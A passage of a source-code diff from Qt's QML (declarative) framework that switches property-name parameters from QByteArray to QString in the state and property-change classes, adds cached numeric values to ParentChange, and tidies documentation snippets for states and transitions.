- typedef QPair<QByteArray, QVariant> PropertyEntry;
- typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+ typedef QPair<QString, QVariant> PropertyEntry;
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
QMutableListIterator<ExpressionEntry> expressionIterator(d->expressions);
while (expressionIterator.hasNext()) {
const ExpressionEntry &entry = expressionIterator.next();
- if (entry.first == name) {
+ if (entry.name == name) {
expressionIterator.remove();
if (state() && state()->isStateActive()) {
QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name));
@@ -576,7 +603,7 @@ void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVar
action.property = d->property(name);
action.fromValue = action.property.read();
action.specifiedObject = object();
- action.specifiedProperty = QString::fromUtf8(name);
+ action.specifiedProperty = name;
action.toValue = value;
propertyIterator.insert(PropertyEntry(name, value));
@@ -589,11 +616,11 @@ void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVar
}
}
-void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const QString &expression)
+void QDeclarativePropertyChanges::changeExpression(const QString &name, const QString &expression)
{
Q_D(QDeclarativePropertyChanges);
- typedef QPair<QByteArray, QVariant> PropertyEntry;
- typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+ typedef QPair<QString, QVariant> PropertyEntry;
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
bool hadValue = false;
@@ -610,8 +637,8 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const
QMutableListIterator<ExpressionEntry> expressionIterator(d->expressions);
while (expressionIterator.hasNext()) {
const ExpressionEntry &entry = expressionIterator.next();
- if (entry.first == name) {
- entry.second->setExpression(expression);
+ if (entry.name == name) {
+ entry.expression->setExpression(expression);
if (state() && state()->isStateActive()) {
QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name));
if (oldBinding) {
@@ -628,7 +655,7 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const
}
QDeclarativeExpression *newExpression = new QDeclarativeExpression(qmlContext(this), d->object, expression);
- expressionIterator.insert(ExpressionEntry(name, newExpression));
+ expressionIterator.insert(ExpressionEntry(name, QDeclarativeBinding::Invalid, newExpression));
if (state() && state()->isStateActive()) {
if (hadValue) {
@@ -647,7 +674,7 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const
action.property = d->property(name);
action.fromValue = action.property.read();
action.specifiedObject = object();
- action.specifiedProperty = QString::fromUtf8(name);
+ action.specifiedProperty = name;
if (d->isExplicit) {
@@ -670,11 +697,11 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const
// what about the signal handler?
}
-QVariant QDeclarativePropertyChanges::property(const QByteArray &name) const
+QVariant QDeclarativePropertyChanges::property(const QString &name) const
{
Q_D(const QDeclarativePropertyChanges);
- typedef QPair<QByteArray, QVariant> PropertyEntry;
- typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+ typedef QPair<QString, QVariant> PropertyEntry;
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
QListIterator<PropertyEntry> propertyIterator(d->properties);
while (propertyIterator.hasNext()) {
@@ -687,24 +714,24 @@ QVariant QDeclarativePropertyChanges::property(const QByteArray &name) const
QListIterator<ExpressionEntry> expressionIterator(d->expressions);
while (expressionIterator.hasNext()) {
const ExpressionEntry &entry = expressionIterator.next();
- if (entry.first == name) {
- return QVariant(entry.second->expression());
+ if (entry.name == name) {
+ return QVariant(entry.expression->expression());
}
}
return QVariant();
}
-void QDeclarativePropertyChanges::removeProperty(const QByteArray &name)
+void QDeclarativePropertyChanges::removeProperty(const QString &name)
{
Q_D(QDeclarativePropertyChanges);
- typedef QPair<QByteArray, QVariant> PropertyEntry;
- typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+ typedef QPair<QString, QVariant> PropertyEntry;
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
QMutableListIterator<ExpressionEntry> expressionIterator(d->expressions);
while (expressionIterator.hasNext()) {
const ExpressionEntry &entry = expressionIterator.next();
- if (entry.first == name) {
+ if (entry.name == name) {
expressionIterator.remove();
state()->removeEntryFromRevertList(object(), name);
return;
@@ -722,10 +749,10 @@ void QDeclarativePropertyChanges::removeProperty(const QByteArray &name)
}
}
-QVariant QDeclarativePropertyChanges::value(const QByteArray &name) const
+QVariant QDeclarativePropertyChanges::value(const QString &name) const
{
Q_D(const QDeclarativePropertyChanges);
- typedef QPair<QByteArray, QVariant> PropertyEntry;
+ typedef QPair<QString, QVariant> PropertyEntry;
QListIterator<PropertyEntry> propertyIterator(d->properties);
while (propertyIterator.hasNext()) {
@@ -738,16 +765,16 @@ QVariant QDeclarativePropertyChanges::value(const QByteArray &name) const
return QVariant();
}
-QString QDeclarativePropertyChanges::expression(const QByteArray &name) const
+QString QDeclarativePropertyChanges::expression(const QString &name) const
{
Q_D(const QDeclarativePropertyChanges);
- typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
QListIterator<ExpressionEntry> expressionIterator(d->expressions);
while (expressionIterator.hasNext()) {
const ExpressionEntry &entry = expressionIterator.next();
- if (entry.first == name) {
- return entry.second->expression();
+ if (entry.name == name) {
+ return entry.expression->expression();
}
}
diff --git a/src/declarative/util/qdeclarativepropertychanges_p.h b/src/declarative/util/qdeclarativepropertychanges_p.h
index aa57657..09e3a16 100644
--- a/src/declarative/util/qdeclarativepropertychanges_p.h
+++ b/src/declarative/util/qdeclarativepropertychanges_p.h
@@ -75,19 +75,19 @@ public:
virtual ActionList actions();
- bool containsProperty(const QByteArray &name) const;
- bool containsValue(const QByteArray &name) const;
- bool containsExpression(const QByteArray &name) const;
- void changeValue(const QByteArray &name, const QVariant &value);
- void changeExpression(const QByteArray &name, const QString &expression);
- void removeProperty(const QByteArray &name);
- QVariant value(const QByteArray &name) const;
- QString expression(const QByteArray &name) const;
+ bool containsProperty(const QString &name) const;
+ bool containsValue(const QString &name) const;
+ bool containsExpression(const QString &name) const;
+ void changeValue(const QString &name, const QVariant &value);
+ void changeExpression(const QString &name, const QString &expression);
+ void removeProperty(const QString &name);
+ QVariant value(const QString &name) const;
+ QString expression(const QString &name) const;
void detachFromState();
void attachToState();
- QVariant property(const QByteArray &name) const;
+ QVariant property(const QString &name) const;
};
class QDeclarativePropertyChangesParser : public QDeclarativeCustomParser
diff --git a/src/declarative/util/qdeclarativespringanimation.cpp b/src/declarative/util/qdeclarativespringanimation.cpp
index ec2b083..1212a1c 100644
--- a/src/declarative/util/qdeclarativespringanimation.cpp
+++ b/src/declarative/util/qdeclarativespringanimation.cpp
@@ -236,7 +236,7 @@ void QDeclarativeSpringAnimationPrivate::updateMode()
/*!
\qmlclass SpringAnimation QDeclarativeSpringAnimation
\ingroup qml-animation-transition
- \inherits Animation
+ \inherits NumberAnimation
\since 4.7
\brief The SpringAnimation element allows a property to track a value in a spring-like motion.
diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp
index bb1a0b8..5a4e2b1 100644
--- a/src/declarative/util/qdeclarativestate.cpp
+++ b/src/declarative/util/qdeclarativestate.cpp
@@ -66,7 +66,7 @@ QDeclarativeAction::QDeclarativeAction()
QDeclarativeAction::QDeclarativeAction(QObject *target, const QString &propertyName,
const QVariant &value)
: restore(true), actionDone(false), reverseEvent(false), deletableToBinding(false),
- property(target, propertyName), toValue(value),
+ property(target, propertyName, qmlEngine(target)), toValue(value),
fromBinding(0), event(0),
specifiedObject(target), specifiedProperty(propertyName)
{
@@ -216,15 +216,18 @@ bool QDeclarativeState::isWhenKnown() const
\snippet doc/src/snippets/declarative/state-when.qml 0
- If multiple states in a group have \c when clauses that evaluate to \c true at the same time,
- the first matching state will be applied. For example, in the following snippet
- \c state1 will always be selected rather than \c state2 when sharedCondition becomes
- \c true.
+ If multiple states in a group have \c when clauses that evaluate to \c true
+ at the same time, the first matching state will be applied. For example, in
+ the following snippet \c state1 will always be selected rather than
+ \c state2 when sharedCondition becomes \c true.
\qml
- states: [
- State { name: "state1"; when: sharedCondition },
- State { name: "state2"; when: sharedCondition }
- ]
+ Item {
+ states: [
+ State { name: "state1"; when: sharedCondition },
+ State { name: "state2"; when: sharedCondition }
+ ]
+ // ...
+ }
\endqml
*/
QDeclarativeBinding *QDeclarativeState::when() const
@@ -370,7 +373,7 @@ void QDeclarativeAction::deleteFromBinding()
}
}
-bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByteArray &name) const
+bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QString &name) const
{
Q_D(const QDeclarativeState);
@@ -379,7 +382,7 @@ bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByt
while (revertListIterator.hasNext()) {
const QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
- if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name)
+ if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name)
return true;
}
}
@@ -387,7 +390,7 @@ bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByt
return false;
}
-bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArray &name, const QVariant &revertValue)
+bool QDeclarativeState::changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue)
{
Q_D(QDeclarativeState);
@@ -396,7 +399,7 @@ bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArra
while (revertListIterator.hasNext()) {
QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
- if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) {
+ if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) {
simpleAction.setValue(revertValue);
return true;
}
@@ -406,7 +409,7 @@ bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArra
return false;
}
-bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteArray &name, QDeclarativeAbstractBinding *binding)
+bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding)
{
Q_D(QDeclarativeState);
@@ -415,7 +418,7 @@ bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteAr
while (revertListIterator.hasNext()) {
QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
- if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) {
+ if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) {
if (simpleAction.binding())
simpleAction.binding()->destroy();
@@ -428,7 +431,7 @@ bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteAr
return false;
}
-bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QByteArray &name)
+bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QString &name)
{
Q_D(QDeclarativeState);
@@ -437,7 +440,7 @@ bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QByteAr
while (revertListIterator.hasNext()) {
QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
- if (simpleAction.property().object() == target && simpleAction.property().name().toUtf8() == name) {
+ if (simpleAction.property().object() == target && simpleAction.property().name() == name) {
QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(simpleAction.property());
if (oldBinding) {
QDeclarativePropertyPrivate::setBinding(simpleAction.property(), 0);
@@ -517,7 +520,7 @@ void QDeclarativeState::addEntriesToRevertList(const QList<QDeclarativeAction> &
}
}
-QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray &name) const
+QVariant QDeclarativeState::valueInRevertList(QObject *target, const QString &name) const
{
Q_D(const QDeclarativeState);
@@ -526,7 +529,7 @@ QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray
while (revertListIterator.hasNext()) {
const QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
- if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name)
+ if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name)
return simpleAction.value();
}
}
@@ -534,7 +537,7 @@ QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray
return QVariant();
}
-QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *target, const QByteArray &name) const
+QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *target, const QString &name) const
{
Q_D(const QDeclarativeState);
@@ -543,7 +546,7 @@ QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *tar
while (revertListIterator.hasNext()) {
const QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
- if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name)
+ if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name)
return simpleAction.binding();
}
}
diff --git a/src/declarative/util/qdeclarativestate_p.h b/src/declarative/util/qdeclarativestate_p.h
index 4a0b4ff..60d0e0b 100644
--- a/src/declarative/util/qdeclarativestate_p.h
+++ b/src/declarative/util/qdeclarativestate_p.h
@@ -45,7 +45,7 @@
#include <qdeclarative.h>
#include <qdeclarativeproperty.h>
#include <QtCore/qobject.h>
-#include <private/qdeclarativebinding_p.h>
+#include <QtCore/qsharedpointer.h>
#include <private/qdeclarativeglobal_p.h>
QT_BEGIN_HEADER
@@ -76,7 +76,7 @@ public:
QVariant toValue;
QDeclarativeAbstractBinding *fromBinding;
- QDeclarativeAbstractBinding::Pointer toBinding;
+ QWeakPointer<QDeclarativeAbstractBinding> toBinding;
QDeclarativeActionEvent *event;
//strictly for matching
@@ -180,15 +180,15 @@ public:
QDeclarativeStateGroup *stateGroup() const;
void setStateGroup(QDeclarativeStateGroup *);
- bool containsPropertyInRevertList(QObject *target, const QByteArray &name) const;
- bool changeValueInRevertList(QObject *target, const QByteArray &name, const QVariant &revertValue);
- bool changeBindingInRevertList(QObject *target, const QByteArray &name, QDeclarativeAbstractBinding *binding);
- bool removeEntryFromRevertList(QObject *target, const QByteArray &name);
+ bool containsPropertyInRevertList(QObject *target, const QString &name) const;
+ bool changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue);
+ bool changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding);
+ bool removeEntryFromRevertList(QObject *target, const QString &name);
void addEntryToRevertList(const QDeclarativeAction &action);
void removeAllEntriesFromRevertList(QObject *target);
void addEntriesToRevertList(const QList<QDeclarativeAction> &actions);
- QVariant valueInRevertList(QObject *target, const QByteArray &name) const;
- QDeclarativeAbstractBinding *bindingInRevertList(QObject *target, const QByteArray &name) const;
+ QVariant valueInRevertList(QObject *target, const QString &name) const;
+ QDeclarativeAbstractBinding *bindingInRevertList(QObject *target, const QString &name) const;
bool isStateActive() const;
diff --git a/src/declarative/util/qdeclarativestategroup.cpp b/src/declarative/util/qdeclarativestategroup.cpp
index 7aeea12..f1d0997 100644
--- a/src/declarative/util/qdeclarativestategroup.cpp
+++ b/src/declarative/util/qdeclarativestategroup.cpp
@@ -102,10 +102,10 @@ public:
id: myStateGroup
states: State {
name: "state1"
- ...
+ // ...
}
transitions: Transition {
- ...
+ // ...
}
}
@@ -140,11 +140,15 @@ QList<QDeclarativeState *> QDeclarativeStateGroup::states() const
\qml
StateGroup {
- states: [
- State { ... },
- State { ... }
- ...
- ]
+ states: [
+ State {
+ // State definition...
+ },
+ State {
+ // ...
+ }
+ // Other states...
+ ]
}
\endqml
@@ -197,11 +201,15 @@ void QDeclarativeStateGroupPrivate::clear_states(QDeclarativeListProperty<QDecla
\qml
StateGroup {
- transitions: [
- Transition { ... },
- Transition { ... }
- ...
- ]
+ transitions: [
+ Transition {
+ // ...
+ },
+ Transition {
+ // ...
+ }
+ // ...
+ ]
}
\endqml
@@ -221,14 +229,14 @@ QDeclarativeListProperty<QDeclarativeTransition> QDeclarativeStateGroup::transit
This property is often used in scripts to change between states. For
example:
- \qml
- function toggle() {
- if (button.state == 'On')
- button.state = 'Off';
- else
- button.state = 'On';
- }
- \endqml
+ \js
+ function toggle() {
+ if (button.state == 'On')
+ button.state = 'Off';
+ else
+ button.state = 'On';
+ }
+ \endjs
If the state group is in its base state (i.e. no explicit state has been
set), \c state will be a blank string. Likewise, you can return a
diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp
index 346a374..9aca71f 100644
--- a/src/declarative/util/qdeclarativestateoperations.cpp
+++ b/src/declarative/util/qdeclarativestateoperations.cpp
@@ -83,6 +83,13 @@ public:
QDeclarativeNullableValue<QDeclarativeScriptString> scaleString;
QDeclarativeNullableValue<QDeclarativeScriptString> rotationString;
+ QDeclarativeNullableValue<qreal> x;
+ QDeclarativeNullableValue<qreal> y;
+ QDeclarativeNullableValue<qreal> width;
+ QDeclarativeNullableValue<qreal> height;
+ QDeclarativeNullableValue<qreal> scale;
+ QDeclarativeNullableValue<qreal> rotation;
+
void doChange(QDeclarativeItem *targetParent, QDeclarativeItem *stackBefore = 0);
};
@@ -213,10 +220,21 @@ QDeclarativeScriptString QDeclarativeParentChange::x() const
return d->xString.value;
}
+void tryReal(QDeclarativeNullableValue<qreal> &value, const QString &string)
+{
+ bool ok = false;
+ qreal realValue = string.toFloat(&ok);
+ if (ok)
+ value = realValue;
+ else
+ value.invalidate();
+}
+
void QDeclarativeParentChange::setX(QDeclarativeScriptString x)
{
Q_D(QDeclarativeParentChange);
d->xString = x;
+ tryReal(d->x, x.script());
}
bool QDeclarativeParentChange::xIsSet() const
@@ -235,6 +253,7 @@ void QDeclarativeParentChange::setY(QDeclarativeScriptString y)
{
Q_D(QDeclarativeParentChange);
d->yString = y;
+ tryReal(d->y, y.script());
}
bool QDeclarativeParentChange::yIsSet() const
@@ -253,6 +272,7 @@ void QDeclarativeParentChange::setWidth(QDeclarativeScriptString width)
{
Q_D(QDeclarativeParentChange);
d->widthString = width;
+ tryReal(d->width, width.script());
}
bool QDeclarativeParentChange::widthIsSet() const
@@ -271,6 +291,7 @@ void QDeclarativeParentChange::setHeight(QDeclarativeScriptString height)
{
Q_D(QDeclarativeParentChange);
d->heightString = height;
+ tryReal(d->height, height.script());
}
bool QDeclarativeParentChange::heightIsSet() const
@@ -289,6 +310,7 @@ void QDeclarativeParentChange::setScale(QDeclarativeScriptString scale)
{
Q_D(QDeclarativeParentChange);
d->scaleString = scale;
+ tryReal(d->scale, scale.script());
}
bool QDeclarativeParentChange::scaleIsSet() const
@@ -307,6 +329,7 @@ void QDeclarativeParentChange::setRotation(QDeclarativeScriptString rotation)
{
Q_D(QDeclarativeParentChange);
d->rotationString = rotation;
+ tryReal(d->rotation, rotation.script());
}
bool QDeclarativeParentChange::rotationIsSet() const
@@ -367,16 +390,15 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
a.event = this;
actions << a;
+ QDeclarativeContext *ctxt = qmlContext(this);
+
if (d->xString.isValid()) {
- bool ok = false;
- QString script = d->xString.value.script();
- qreal x = script.toFloat(&ok);
- if (ok) {
- QDeclarativeAction xa(d->target, QLatin1String("x"), x);
+ if (d->x.isValid()) {
+ QDeclarativeAction xa(d->target, QLatin1String("x"), ctxt, d->x.value);
actions << xa;
} else {
- QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
- newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x")));
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->xString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x"), ctxt));
QDeclarativeAction xa;
xa.property = newBinding->property();
xa.toBinding = newBinding;
@@ -387,15 +409,12 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
}
if (d->yString.isValid()) {
- bool ok = false;
- QString script = d->yString.value.script();
- qreal y = script.toFloat(&ok);
- if (ok) {
- QDeclarativeAction ya(d->target, QLatin1String("y"), y);
+ if (d->y.isValid()) {
+ QDeclarativeAction ya(d->target, QLatin1String("y"), ctxt, d->y.value);
actions << ya;
} else {
- QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
- newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y")));
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->yString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y"), ctxt));
QDeclarativeAction ya;
ya.property = newBinding->property();
ya.toBinding = newBinding;
@@ -406,15 +425,12 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
}
if (d->scaleString.isValid()) {
- bool ok = false;
- QString script = d->scaleString.value.script();
- qreal scale = script.toFloat(&ok);
- if (ok) {
- QDeclarativeAction sa(d->target, QLatin1String("scale"), scale);
+ if (d->scale.isValid()) {
+ QDeclarativeAction sa(d->target, QLatin1String("scale"), ctxt, d->scale.value);
actions << sa;
} else {
- QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
- newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale")));
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->scaleString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale"), ctxt));
QDeclarativeAction sa;
sa.property = newBinding->property();
sa.toBinding = newBinding;
@@ -425,15 +441,12 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
}
if (d->rotationString.isValid()) {
- bool ok = false;
- QString script = d->rotationString.value.script();
- qreal rotation = script.toFloat(&ok);
- if (ok) {
- QDeclarativeAction ra(d->target, QLatin1String("rotation"), rotation);
+ if (d->rotation.isValid()) {
+ QDeclarativeAction ra(d->target, QLatin1String("rotation"), ctxt, d->rotation.value);
actions << ra;
} else {
- QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
- newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation")));
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->rotationString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation"), ctxt));
QDeclarativeAction ra;
ra.property = newBinding->property();
ra.toBinding = newBinding;
@@ -444,15 +457,12 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
}
if (d->widthString.isValid()) {
- bool ok = false;
- QString script = d->widthString.value.script();
- qreal width = script.toFloat(&ok);
- if (ok) {
- QDeclarativeAction wa(d->target, QLatin1String("width"), width);
+ if (d->width.isValid()) {
+ QDeclarativeAction wa(d->target, QLatin1String("width"), ctxt, d->width.value);
actions << wa;
} else {
- QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
- newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width")));
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->widthString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width"), ctxt));
QDeclarativeAction wa;
wa.property = newBinding->property();
wa.toBinding = newBinding;
@@ -463,15 +473,12 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
}
if (d->heightString.isValid()) {
- bool ok = false;
- QString script = d->heightString.value.script();
- qreal height = script.toFloat(&ok);
- if (ok) {
- QDeclarativeAction ha(d->target, QLatin1String("height"), height);
+ if (d->height.isValid()) {
+ QDeclarativeAction ha(d->target, QLatin1String("height"), ctxt, d->height.value);
actions << ha;
} else {
- QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
- newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height")));
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->heightString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height"), ctxt));
QDeclarativeAction ha;
ha.property = newBinding->property();
ha.toBinding = newBinding;
@@ -599,25 +606,7 @@ public:
ScriptAction to specify the point in the transition at which
the StateChangeScript should to be run.
- \qml
- State {
- name "state1"
- StateChangeScript {
- name: "myScript"
- script: doStateStuff();
- }
- ...
- }
- ...
- Transition {
- to: "state1"
- SequentialAnimation {
- NumberAnimation { ... }
- ScriptAction { scriptName: "myScript" }
- NumberAnimation { ... }
- }
- }
- \endqml
+ \snippet snippets/declarative/states/statechangescript.qml state and transition
\sa ScriptAction
*/
@@ -652,7 +641,7 @@ void QDeclarativeStateChangeScript::setScript(const QDeclarativeScriptString &s)
This property holds the name of the script. This name can be used by a
ScriptAction to target a specific script.
- \sa ScriptAction::stateChangeScriptName
+ \sa ScriptAction::scriptName
*/
QString QDeclarativeStateChangeScript::name() const
{
@@ -1075,32 +1064,34 @@ QDeclarativeAnchorChanges::ActionList QDeclarativeAnchorChanges::actions()
d->vCenterProp = QDeclarativeProperty(d->target, QLatin1String("anchors.verticalCenter"));
d->baselineProp = QDeclarativeProperty(d->target, QLatin1String("anchors.baseline"));
+ QDeclarativeContext *ctxt = qmlContext(this);
+
if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::LeftAnchor) {
- d->leftBinding = new QDeclarativeBinding(d->anchorSet->d_func()->leftScript.script(), d->target, qmlContext(this));
+ d->leftBinding = new QDeclarativeBinding(d->anchorSet->d_func()->leftScript.script(), d->target, ctxt);
d->leftBinding->setTarget(d->leftProp);
}
if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::RightAnchor) {
- d->rightBinding = new QDeclarativeBinding(d->anchorSet->d_func()->rightScript.script(), d->target, qmlContext(this));
+ d->rightBinding = new QDeclarativeBinding(d->anchorSet->d_func()->rightScript.script(), d->target, ctxt);
d->rightBinding->setTarget(d->rightProp);
}
if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::HCenterAnchor) {
- d->hCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->hCenterScript.script(), d->target, qmlContext(this));
+ d->hCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->hCenterScript.script(), d->target, ctxt);
d->hCenterBinding->setTarget(d->hCenterProp);
}
if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::TopAnchor) {
- d->topBinding = new QDeclarativeBinding(d->anchorSet->d_func()->topScript.script(), d->target, qmlContext(this));
+ d->topBinding = new QDeclarativeBinding(d->anchorSet->d_func()->topScript.script(), d->target, ctxt);
d->topBinding->setTarget(d->topProp);
}
if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::BottomAnchor) {
- d->bottomBinding = new QDeclarativeBinding(d->anchorSet->d_func()->bottomScript.script(), d->target, qmlContext(this));
+ d->bottomBinding = new QDeclarativeBinding(d->anchorSet->d_func()->bottomScript.script(), d->target, ctxt);
d->bottomBinding->setTarget(d->bottomProp);
}
if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::VCenterAnchor) {
- d->vCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->vCenterScript.script(), d->target, qmlContext(this));
+ d->vCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->vCenterScript.script(), d->target, ctxt);
d->vCenterBinding->setTarget(d->vCenterProp);
}
if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::BaselineAnchor) {
- d->baselineBinding = new QDeclarativeBinding(d->anchorSet->d_func()->baselineScript.script(), d->target, qmlContext(this));
+ d->baselineBinding = new QDeclarativeBinding(d->anchorSet->d_func()->baselineScript.script(), d->target, ctxt);
d->baselineBinding->setTarget(d->baselineProp);
}
@@ -1380,24 +1371,25 @@ QList<QDeclarativeAction> QDeclarativeAnchorChanges::additionalActions()
bool vChange = combined & QDeclarativeAnchors::Vertical_Mask;
if (d->target) {
+ QDeclarativeContext *ctxt = qmlContext(this);
QDeclarativeAction a;
if (hChange && d->fromX != d->toX) {
- a.property = QDeclarativeProperty(d->target, QLatin1String("x"));
+ a.property = QDeclarativeProperty(d->target, QLatin1String("x"), ctxt);
a.toValue = d->toX;
extra << a;
}
if (vChange && d->fromY != d->toY) {
- a.property = QDeclarativeProperty(d->target, QLatin1String("y"));
+ a.property = QDeclarativeProperty(d->target, QLatin1String("y"), ctxt);
a.toValue = d->toY;
extra << a;
}
if (hChange && d->fromWidth != d->toWidth) {
- a.property = QDeclarativeProperty(d->target, QLatin1String("width"));
+ a.property = QDeclarativeProperty(d->target, QLatin1String("width"), ctxt);
a.toValue = d->toWidth;
extra << a;
}
if (vChange && d->fromHeight != d->toHeight) {
- a.property = QDeclarativeProperty(d->target, QLatin1String("height"));
+ a.property = QDeclarativeProperty(d->target, QLatin1String("height"), ctxt);
a.toValue = d->toHeight;
extra << a;
}
diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp
index e533a07..063ec3e 100644
--- a/src/declarative/util/qdeclarativetransition.cpp
+++ b/src/declarative/util/qdeclarativetransition.cpp
@@ -82,15 +82,7 @@ QT_BEGIN_NAMESPACE
To define multiple transitions, specify \l Item::transitions as a list:
- \qml
- Item {
- ...
- transitions: [
- Transition { to: "state1" ... },
- Transition { ... }
- ]
- }
- \endqml
+ \snippet doc/src/snippets/declarative/transitions-list.qml list of transitions
If multiple Transitions are specified, only a single (best-matching) Transition will be applied for any particular
state change. In the example above, when changing to \c state1, the first transition will be used, rather
@@ -222,13 +214,7 @@ void QDeclarativeTransition::prepare(QDeclarativeStateOperation::ActionList &act
If the transition was changed to this:
- \qml
- transitions: Transition {
- to: "brighter"
- ColorAnimation { duration: 1000 }
- }
- }
- \endqml
+ \snippet doc/src/snippets/declarative/transition-from-to-modified.qml modified transition
The animation would only be applied when changing from the default state to
